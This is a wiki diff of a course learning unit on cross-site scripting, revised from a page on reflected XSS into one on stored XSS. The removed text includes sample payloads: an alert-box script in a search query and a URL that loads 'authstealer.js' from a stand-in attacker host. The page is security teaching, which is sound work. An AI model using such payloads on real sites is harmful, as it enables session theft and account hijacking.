Unterschiede

Hier werden die Unterschiede zwischen zwei Versionen angezeigt.

--- modul:m183:learningunits:lu10:lu10b [2025/12/27 20:55] – dgaravaldi
+++ modul:m183:learningunits:lu10:lu10b [2026/01/28 16:35] (aktuell) – dgaravaldi
@@ Zeile 1: / Zeile 1: @@
-====== LU10b - Reflected cross site scripting (XSS) attacks ======
+====== LU10b - Cross-Site Scripting (XSS) Attacks ======
-\\
+<sup>Internal reference: lu/10-2.md</sup>\\
-==== What is a reflected XSS attack ====
-Reflected XSS attacks, also known as non-persistent attacks, occur when a malicious script is reflected off of a web application to the victim’s browser.
+**Cross-site scripting (XSS)** is a very common type of web application attack vector in which malicious code is injected into a vulnerable web application. Unlike other attacks that target the application’s server or database directly, XSS targets the **users of the web application** — because the injected code runs in their browsers in the context of the legitimate website.
-The script is activated through a link, which sends a request to a website with a vulnerability that enables execution of malicious scripts. The vulnerability is typically a result of incoming requests not being sufficiently sanitized, which allows for the manipulation of a web application’s functions and the activation of malicious scripts.
+A successful XSS attack can cause serious damage — including compromised user accounts, activation of Trojan code, manipulation of page content to trick users into sharing sensitive data, or exposure of session cookies that allow attackers to impersonate valid users.
-To distribute the malicious link, a perpetrator typically embeds it into an email or third party website (e.g., in a comment section or in social media). The link is embedded inside an anchor text that provokes the user to click on it, which initiates the XSS request to an exploited website, reflecting the attack back to the user.
 \\
-==== Reflected XSS attack example ====
+==== Types of XSS Attacks ====
-Unlike a stored attack, where the perpetrator must locate a website that allows for permanent injection of malicious scripts, reflected attacks only require that the malicious script be embedded into a link. That being said, in order for the attack to be successful, the user needs to click on the infected link.
+There are **two major types** of cross-site scripting attacks commonly discussed:
-As such, there are a number of key differences between reflected and stored XSS attacks, including:
+    * **Stored XSS (Persistent)** – A malicious script is permanently injected into an application and served to all users.
+    * **Reflected XSS (Non-Persistent)** – A malicious script is embedded in a URL or request, then reflected off the web server back to the user’s browser when the link is visited.
-    * Reflected attacks are more common.
-    * Reflected attacks do not have the same reach as stored XSS attacks.
-    * Reflected attacks can be avoided by vigilant users.
-    * With a reflected XSS, the perpetrator plays a “numbers game” by sending the malicious link to as many users as possible, thereby improving his odds of successfully executing the attack.
 \\
-==== Reflected XSS attack example ====
+==== What is Stored Cross-Site Scripting ====
-While visiting a forum site that requires users to log in to their account, a perpetrator executes this search query <code><script type='text/javascript'>alert('xss');</script></code> causing the following things to occur:
-The query produces an alert box saying:
-<code>
+To execute a **stored XSS attack**, the attacker must find a vulnerability in a web application where user input is stored without proper validation or escaping. A common example is when a comment field or form accepts HTML input and embeds it directly into pages viewed by other users.
-<script type='text/javascript'>alert('XSS');</script > not found.
-</code>
-The page's URL reads <code>http://ecommerce.com?q=<script type='text/javascript'>alert('XSS'); </script></code>.
+**Example**: An attacker enters a comment containing JavaScript that steals session cookies. Every visitor who views the comment will run the malicious script unknowingly.
-This tells the perpetrator that the website is vulnerable. Next, he creates his own URL,
-which reads <code>http://forum.com?q=news<\script%20src="http://hackersite.com/authstealer.js"</code> and embeds it as a
-link into a seemingly harmless email, which he sends to a group of forum users.
-While the sending address and subject line may appear suspect to some, it does not mean that it won’t be clicked on. In fact, even if only one in every 1,000 recipients of the email click on the link, that still amounts to several dozen infected forum users. They will be taken to the forum’s website, where the malicious script will be reflected back to their browser, enabling the perpetrator to steal their session cookies and hijack their forum accounts.
+\\
+==== Stored XSS Attack — Step by Step ====
+{{:modul:m183:learningunits:lu10:stored-xss.png?600}}
+    - The attacker discovers a page with an input field that allows HTML.
+    - They insert malicious JavaScript code into that field.
+    - The application stores and later serves that code as part of normal content.
+    - When other users visit the page, their browser executes the attack script.
 \\
-==== Reflected XSS attack prevention and mitigation ====
+==== How Stored XSS Endangers Users ====
-There are several effective methods for preventing and mitigating reflected XSS attacks. First and foremost, from the user’s point-of-view, vigilance is the best way to avoid XSS scripting. Specifically, this means not clicking on suspicious links which may contain malicious code. Suspicious links include those found in:
+Stored XSS is especially dangerous because:
-    * Emails from unknown senders
+    * It can impact **all users** who view the infected page.
-    * A website’s comments section
+    * Attacker-controlled scripts can steal session credentials or redirect users to phishing sites.
-    * Social media feed of unknown users
+    * Malicious payloads can embed external JavaScript that reports user data back to the attacker.
 \\
 ==== Related Topics ====
-[1]: https://www.imperva.com/learn/application-security/reflected-xss-attacks/?utm_source=chatgpt.com "Reflected XSS | How to Prevent a Non-Persistent Attack - Imperva"
+[1]: https://owasp.org/www-community/attacks/xss/ Cross Site Scripting (XSS) | OWASP
-[2]: https://owasp.org/www-community/attacks/xss/ "Cross Site Scripting (XSS) | OWASP"
+[2]: https://developer.mozilla.org/docs/Web/Security/Attacks/XSS?utm_source=chatgpt.com Cross-site scripting (XSS) - Security | MDN
+----
+[[https://creativecommons.org/licenses/by-nc-sa/4.0/|{{https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png}}]] Daniel Garavaldi